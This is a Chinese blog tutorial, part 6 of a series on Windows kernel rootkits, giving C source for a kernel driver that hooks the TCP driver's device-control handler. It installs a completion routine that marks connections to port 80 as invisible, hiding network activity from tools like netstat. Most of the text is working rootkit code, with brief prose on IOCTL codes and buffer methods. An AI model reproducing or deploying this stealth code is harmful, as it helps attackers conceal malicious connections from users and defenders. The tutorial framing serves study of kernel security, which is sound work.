RootKits——windows内核的安全防护(6)

 驱动程序的入口很简单,仅仅设置好相应的Unload函数,并调用Hook函数。 

PFILE_OBJECT pFile_tcp;

PDEVICE_OBJECT pDev_tcp;

PDRIVER_OBJECT pDrv_tcpip;

NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath ) { NTSTATUS ntStatus; OldIrpMjDeviceControl = NULL; DriverObject->DriverUnload = RootkitUnload; ntStatus = InstallTCPDriverHook(); if(!NT_SUCCESS(ntStatus)) return ntStatus; return STATUS_SUCCESS; }

在Hook函数当中,首先利用系统的IoGetDeviceObjectPointer得到设备堆栈的顶层对象,这里传入的对象名称是"\\Device\\Tcp",也就是得到TCP的顶层对象。然后,利用设备对象获得相应的驱动的对象。并通过驱动对象得到相应的驱动调用函数,保存好DEVICE_CONTROL函数,并将我们的处理函数赋值给驱动对象中相应的处理函数。

typedef NTSTATUS (*OLDIRPMJDEVICECONTROL)(IN PDEVICE_OBJECT, IN PIRP);
OLDIRPMJDEVICECONTROL OldIrpMjDeviceControl;
NTSTATUS InstallTCPDriverHook()
{
    NTSTATUS       ntStatus;      
	UNICODE_STRING deviceTCPUnicodeString;
	WCHAR deviceTCPNameBuffer[]  = L"\\Device\\Tcp";
    pFile_tcp  = NULL;
	pDev_tcp   = NULL;
	pDrv_tcpip = NULL;

	RtlInitUnicodeString (&deviceTCPUnicodeString, deviceTCPNameBuffer);
	ntStatus = IoGetDeviceObjectPointer(&deviceTCPUnicodeString, FILE_READ_DATA, &pFile_tcp, &pDev_tcp);
	if(!NT_SUCCESS(ntStatus)) 
		return ntStatus;
	pDrv_tcpip = pDev_tcp->DriverObject;

	OldIrpMjDeviceControl = pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL]; 
	if (OldIrpMjDeviceControl)
		InterlockedExchange ((PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL], (LONG)HookedDeviceControl);
	
	return STATUS_SUCCESS;
}

在Hook函数当中,首先利用IoGetCurrentIrpStackLocation得到相应的IO_STACK_LOCATION,这里的irp实际上是通过以系列的系统调用传递下来的。其中IO_STACK_LOCATION在wmd.h当中定义,IO_STACK_LOCATION结构体当中包含一个联合体Parameters,这个联合体的解释是由IO_STACK_LOCATION当中的MajorFunction决定的。当MajorFunction的值是IRP_MJ_DEVICE_CONTROL的时候,parameters被解释为struct DeviceIoControl。这个结构体通过IoControlCode表明想要进行的操作,而可能通过Type3InputBuffer传递输入缓存,最开始两个数据则表明输入和输出的长度。在看函数之前,我们需要解释一下操作码IoControlCode的组成,以及内核空间和用户空间交换内存的三种方式。

整个IoControlCode有四个部分组成。最开始的16个位是设备的类型,接下来的两个位则是表示设备的访问权限而接下来的12个位则表明IoControl的功能号,最后面的两个位则是缓冲方式。

缓冲方式总共有三种:

第一种是Buffered方式,这种方式有一个复制过程,输入输出都经过相应的IRP当中的地址pIrp->AssociatedIrp.SystemBuffer缓存,由于分配的内存是费换页内存,所以不存在缺页中断的现象。

第二种方式是Direct方式,I/O管理器将创建一个MDL用于描述包含该用户模式数据缓存区的锁定内存页,这样也就不会有缺页中断。

第三种是Neither方式,这种情况下,I/O管理器简单地将虚拟地址嗯哼字节技术交给我们,其余的由我们自己决定,这种方式最高效但是安全性需要程序员自己处理。

到这里,整个函数的流程基本清晰了。首先得到输入缓存指针,并将这个指针转换为我们所需要的结构体,验证查询的方式,利用IO_STACK_LOCATION中的相应成员变量context将相应的参数传递给我们的函数处理,不过在传递之前需要设置相应的属性。同时在最后调用系统本身的的DeviceControl函数,由这个函数将控制权转入到我们的IoCompletionRoutine函数。

#define CO_TL_ENTITY                    0x400
#define CL_TL_ENTITY                    0x401
#define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003
//* Structure of an entity ID.
typedef struct TDIEntityID {
     ulong        tei_entity;
     ulong        tei_instance;
} TDIEntityID;
//* Structure of an object ID.
typedef struct TDIObjectID {
     TDIEntityID     toi_entity;
     ulong        toi_class;
     ulong        toi_type;
     ulong        toi_id;
} TDIObjectID;
NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT, IN PIRP, IN PVOID);
struct {
            ULONG OutputBufferLength;
            ULONG POINTER_ALIGNMENT InputBufferLength;
            ULONG POINTER_ALIGNMENT IoControlCode;
            PVOID Type3InputBuffer;
        } DeviceIoControl;
NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
    PIO_STACK_LOCATION      irpStack;
    ULONG                   ioTransferType;
	TDIObjectID             *inputBuffer;
	DWORD					context;
    irpStack = IoGetCurrentIrpStackLocation (Irp);
    switch (irpStack->MajorFunction) 
	{
	    case IRP_MJ_DEVICE_CONTROL:
			if ((irpStack->MinorFunction == 0) && \
				(irpStack->Parameters.DeviceIoControl.IoControlCode == IOCTL_TCP_QUERY_INFORMATION_EX))
			{
				ioTransferType = irpStack->Parameters.DeviceIoControl.IoControlCode;
				ioTransferType &= 3;
				if (ioTransferType == METHOD_NEITHER) 
				{
					inputBuffer = (TDIObjectID *) irpStack->Parameters.DeviceIoControl.Type3InputBuffer;
					
					if (inputBuffer->toi_entity.tei_entity == CO_TL_ENTITY)
					{ 
						if ((inputBuffer->toi_id == 0x101) || (inputBuffer->toi_id == 0x102) || (inputBuffer->toi_id == 0x110))
						{
							irpStack->Control = 0;
							irpStack->Control |= SL_INVOKE_ON_SUCCESS; 

							irpStack->Context = (PIO_COMPLETION_ROUTINE) ExAllocatePool(NonPagedPool, sizeof(REQINFO));

							((PREQINFO)irpStack->Context)->OldCompletion = irpStack->CompletionRoutine; 
							((PREQINFO)irpStack->Context)->ReqType       = inputBuffer->toi_id;

							irpStack->CompletionRoutine = (PIO_COMPLETION_ROUTINE)IoCompletionRoutine;
						}
					}
				}
			}
		break;
		
		default:
		break;
    }

    return OldIrpMjDeviceControl(DeviceObject, Irp);
}

完成函数的实现比较简单,根据IRP当中的IO_STATUS_BLOCK成员变量的相应信息,将得到的数据全部改变为不可见,这样就隐藏了我们的联网进程。由于在上面设置了IO_STACK_LOCATION的Control成员变量,这里的stackcount不会归0,所以会调用默认的的完成调用函数,从而达到过滤的效果。

typedef struct _CONNINFO101 {
   unsigned long status; 
   unsigned long src_addr; 
   unsigned short src_port; 
   unsigned short unk1; 
   unsigned long dst_addr; 
   unsigned short dst_port; 
   unsigned short unk2; 
} CONNINFO101, *PCONNINFO101;

typedef struct _CONNINFO102 {
   unsigned long status; 
   unsigned long src_addr; 
   unsigned short src_port; 
   unsigned short unk1; 
   unsigned long dst_addr; 
   unsigned short dst_port; 
   unsigned short unk2; 
   unsigned long pid;
} CONNINFO102, *PCONNINFO102;

typedef struct _CONNINFO110 {
   unsigned long size;
   unsigned long status; 
   unsigned long src_addr; 
   unsigned short src_port; 
   unsigned short unk1; 
   unsigned long dst_addr; 
   unsigned short dst_port; 
   unsigned short unk2; 
   unsigned long pid;
   PVOID    unk3[35];
} CONNINFO110, *PCONNINFO110;
NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT DeviceObject, 
							 IN PIRP Irp, 
							 IN PVOID Context)
{
	PVOID OutputBuffer;
    DWORD NumOutputBuffers;
	PIO_COMPLETION_ROUTINE p_compRoutine;
	DWORD i;

	// Connection status values:
	// 0 = Invisible
	// 1 = CLOSED
	// 2 = LISTENING
	// 3 = SYN_SENT
	// 4 = SYN_RECEIVED
	// 5 = ESTABLISHED
	// 6 = FIN_WAIT_1
	// 7 = FIN_WAIT_2
	// 8 = CLOSE_WAIT
	// 9 = CLOSING
	// ...

	OutputBuffer = Irp->UserBuffer;
	p_compRoutine = ((PREQINFO)Context)->OldCompletion;

	if (((PREQINFO)Context)->ReqType == 0x101)
	{
		NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO101);
		for(i = 0; i < NumOutputBuffers; i++)
		{
			// Hide all Web connections
			if (HTONS(((PCONNINFO101)OutputBuffer)[i].dst_port) == 80)
				((PCONNINFO101)OutputBuffer)[i].status = 0;
		}
	}
	else if (((PREQINFO)Context)->ReqType == 0x102)
	{
		NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO102);
		for(i = 0; i < NumOutputBuffers; i++)
		{
			// Hide all Web connections
			if (HTONS(((PCONNINFO102)OutputBuffer)[i].dst_port) == 80)
				((PCONNINFO102)OutputBuffer)[i].status = 0;
		}
	}
	else if (((PREQINFO)Context)->ReqType == 0x110)
	{
		NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO110);
		for(i = 0; i < NumOutputBuffers; i++)
		{
			// Hide all Web connections
			if (HTONS(((PCONNINFO110)OutputBuffer)[i].dst_port) == 80)
				((PCONNINFO110)OutputBuffer)[i].status = 0;
		}
	}

	ExFreePool(Context);

	/*
	for(i = 0; i < NumOutputBuffers; i++)
	{
		DbgPrint("Status: %d",OutputBuffer[i].status);
		DbgPrint(" %d.%d.%d.%d:%d",OutputBuffer[i].src_addr & 0xff,OutputBuffer[i].src_addr >> 8 & 0xff, OutputBuffer[i].src_addr >> 16 & 0xff,OutputBuffer[i].src_addr >> 24,HTONS(OutputBuffer[i].src_port));
		DbgPrint(" %d.%d.%d.%d:%d\n",OutputBuffer[i].dst_addr & 0xff,OutputBuffer[i].dst_addr >> 8 & 0xff, OutputBuffer[i].dst_addr >> 16 & 0xff,OutputBuffer[i].dst_addr >> 24,HTONS(OutputBuffer[i].dst_port));
	}*/

	if ((Irp->StackCount > (ULONG)1) && (p_compRoutine != NULL))
	{
		return (p_compRoutine)(DeviceObject, Irp, NULL);
	}
	else
	{
		return Irp->IoStatus.Status;
	}
}

你可能感兴趣的:(操作系统,安全,内核)